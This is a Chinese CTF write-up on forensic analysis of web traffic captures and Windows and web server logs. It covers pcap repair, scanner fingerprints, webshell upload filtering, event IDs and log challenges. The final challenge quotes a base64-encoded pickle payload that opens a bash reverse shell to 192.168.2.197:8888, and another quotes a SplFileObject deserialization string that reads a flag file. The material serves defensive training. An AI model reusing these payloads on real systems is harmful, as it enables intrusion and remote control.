【流量、日志分析】常见的web流量分析、windows日志分析

1.web流量分析

1.1 特点

通常会提供一个包含流量数据的 PCAP 文件,有时候也会需要先进行修复或重构传输文件后,再进行分析。

复杂的地方在于数据包里充满着大量无关的流量信息,因此如何分类和过滤数据是我们需要做的。

1.2 流量包修复

例题为i春秋第一届 “百度杯” 信息安全攻防总决赛 线上选拔赛:find the flag

该cap文件直接打开的话出现报错:

【流量、日志分析】常见的web流量分析、windows日志分析_第1张图片

通过pcap在线修复工具进行流量包修复:pcapfix

在长度为72的流量中有提示:

【流量、日志分析】常见的web流量分析、windows日志分析_第2张图片

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这些流量中的字符反过来就是flag,反过来拼接就可以得到flag,这边找到一个师傅的脚本借鉴一下:

【流量、日志分析】常见的web流量分析、windows日志分析_第3张图片

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# -- author:valecalida --
# Edit time: 2021/6/6 8:35
from pyshark import FileCapture
from binascii import a2b_hex
cap = FileCapture('cap.pcap', display_filter="tcp && frame.cap_len==72")
cap.load_packets()
content, link = '', ''
for i in range(0, len(cap), 2):
    link = cap[i].ip.id[-4:][2:] + cap[i].ip.id[-4:][:2]
    content += link
print(a2b_hex(bytes(content, encoding='utf-8')))

运行脚本拼接后的flag:
在这里插入图片描述

1.3 扫描分析

通过给出的流量包获取攻击者使用的WEB扫描工具。

如何快速发现是不是有扫描器扫描的痕迹。

一般最常用到的扫描器有WVS、nessus、APPscan、绿盟极光、sqlmap、dirsearch等等,所以我们就要了解这些扫描器本身的一些特征。

WVS扫描器通常默认情况下,会在请求的数据包中带有wvs、acunetix_wvs_security_test、acunetix、acunetix_wvs等字样

Nessus扫描器默认情况下会包含nessus字样

APPscan默认情况下会包含APPscan字样

绿盟极光扫描器一般会包含nsfocus、Rsas字样

sqlmap大多情况下也会包含有sqlmap字样

例题:安恒八月月赛流量分析:黑客使用的是什么扫描器?

流量包很巨大,比我们一般CTF中遇到的都大,显然利用筛选功能才能找到使用了什么扫描器。

首先过滤http流量,发现“acunetix”:

【流量、日志分析】常见的web流量分析、windows日志分析_第4张图片

有这个字样,猜测是WVS扫描器, WVS扫描器通常默认情况下,会在请求的数据包中带有wvs、acunetix_wvs_security_test、acunetix、acunetix_wvs等字样。

为了验证猜测,使用语句 http contains "wvs" 或者 http contains "acunetix" 过滤一下,确定了黑客使用的扫描器为awvs。

【流量、日志分析】常见的web流量分析、windows日志分析_第5张图片

1.4 WebShell上传

Webshell文件上传常采用post方法请求,获取流量包中记录的webshell可通过wireshark筛选出POST请求和关键字.

相关命令:http.request.method==“POST” && http contains == “关键字”

例题:安恒八月月赛流量分析:黑客上传的webshell文件名是?内容是什么?(依然是对webone.pcap进行流量分析)

因为是上传文件,有以下过滤规则:
post && 源地址 && 协议http

http.request.method=="POST" && ip.src==192.168.94.59 && http

【流量、日志分析】常见的web流量分析、windows日志分析_第6张图片

如上图,过滤后看到异常:images里面存了a.php,推测就是黑客上传的WebShell。

追踪tcp流。发现使用php写的WebShell:

在这里插入图片描述

使用下面的语句过滤一下:

tcp contains "

在这里插入图片描述

再追踪tcp流,最终找到了webshell的内容:
【流量、日志分析】常见的web流量分析、windows日志分析_第7张图片

2.windows日志分析

2.1 什么是Windows日志?

Windows日志特指Windows操作系统中各种各样的日志文件,如应用程序日志,安全日志、系统日志。

2.1.1 系统日志

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。

默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx

2.1.2 应用程序日志

包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录。

默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx

2.1.3 安全日志

记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。

默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx

2.1.4 事件ID字段

Log Name:存储事件的事件日志的名称,在处理从同一系统提取的大量日志时很有用。

Source:生成事件的服务,Microsoft组件或应用程序。

Event ID:分配给每种已审计活动类型的代码。

Level:分配给相关事件的严重性。

User:在记录事件时,触发活动或源正在运行的用户上下文的用户帐户。注意,该字段通常表示“系统”而不是记录事件原因的用户

OpCode:由生成日志的源分配

Logged:记录事件的本地系统日期和时间

Task Category:由生成日志的源分配

keywords:用于对事件进行分组或排序。

Computer:记录事件的计算机。当检查从多个系统收集的日志时,此功能很有用,但不应被视为导致事件的设备

Description:一个文本块,其中记录了特定于所记录事件的其他信息,对于取证人员来说,这通常是最重要的字段。

对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,下面是一下常用到的事件ID:

事件ID 说明
1102 审核日志已清除
1104 安全日志现已满
4608 Windows正在启动
4609 Windows正在关闭
4616 系统时间已更改
4625 帐户无法登录
4624 帐户已成功登录
4634 帐户已注销
4647 用户启动的注销
4672 使用超级用户(如管理员)进行登录
4620 创建用户
4657 注册表值已修改
4741 已创建计算机帐户
4742 计算机帐户已更改
4743 计算机帐户已删除

2.2 日志分析

日志分析(问1)

【流量、日志分析】常见的web流量分析、windows日志分析_第8张图片

这里我选择NotePad++打开文件access.log。
先选中全部内容,插件 → MIME tools → URL Decode
查找log中状态码为200的请求记录。搜索“200”:

【流量、日志分析】常见的web流量分析、windows日志分析_第9张图片

源码文件名是www.zip,flag就为:NSSCTF{www.zip}。

日志分析(问2)

【流量、日志分析】常见的web流量分析、windows日志分析_第10张图片

还是在那个日志文件access.log,Ctrl+F搜索/tmp,这就是文件名:

在这里插入图片描述

flag就是:NSSCTF{sess_car}。

日志分析(问3)

【流量、日志分析】常见的web流量分析、windows日志分析_第11张图片

这里存在反序列化:

【流量、日志分析】常见的web流量分析、windows日志分析_第12张图片

使用php函数进行反序列化有助于读懂语句:


$serializedData = 'a:1:{s:5:"/flag";s:13:"SplFileObject";}';

// 使用unserialize函数进行反序列化
$data = unserialize($serializedData);

// 输出反序列化后的结果
var_dump($data);
?>

如下就是反序列化后的内容:【流量、日志分析】常见的web流量分析、windows日志分析_第13张图片

易知,黑客使用的是_SplFileObject_类读取了秘密文件。
flag就是:NSSCTF{SplFileObject}。

简单日志分析(问1)

【流量、日志分析】常见的web流量分析、windows日志分析_第14张图片

翻看log时就看到了异常参数user:
【流量、日志分析】常见的web流量分析、windows日志分析_第15张图片

flag就是NSSCTF{user}。

简单日志分析(问2)

【流量、日志分析】常见的web流量分析、windows日志分析_第16张图片

对这个user参数的base64解码时发现了绝对路径:
【流量、日志分析】常见的web流量分析、windows日志分析_第17张图片【流量、日志分析】常见的web流量分析、windows日志分析_第18张图片

flag即是:NSSCTF{/Th4s_IS_VERY_Import_Fi1e}

简单日志分析(问3)

【流量、日志分析】常见的web流量分析、windows日志分析_第19张图片

最后这个参数user中就是黑客反弹shell的ip和端口:
【流量、日志分析】常见的web流量分析、windows日志分析_第20张图片

JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4=

base64解码就得出:
【流量、日志分析】常见的web流量分析、windows日志分析_第21张图片

flag就是:NSSCTF{192.168.2.197:8888}

你可能感兴趣的:(网络安全,windows,流量)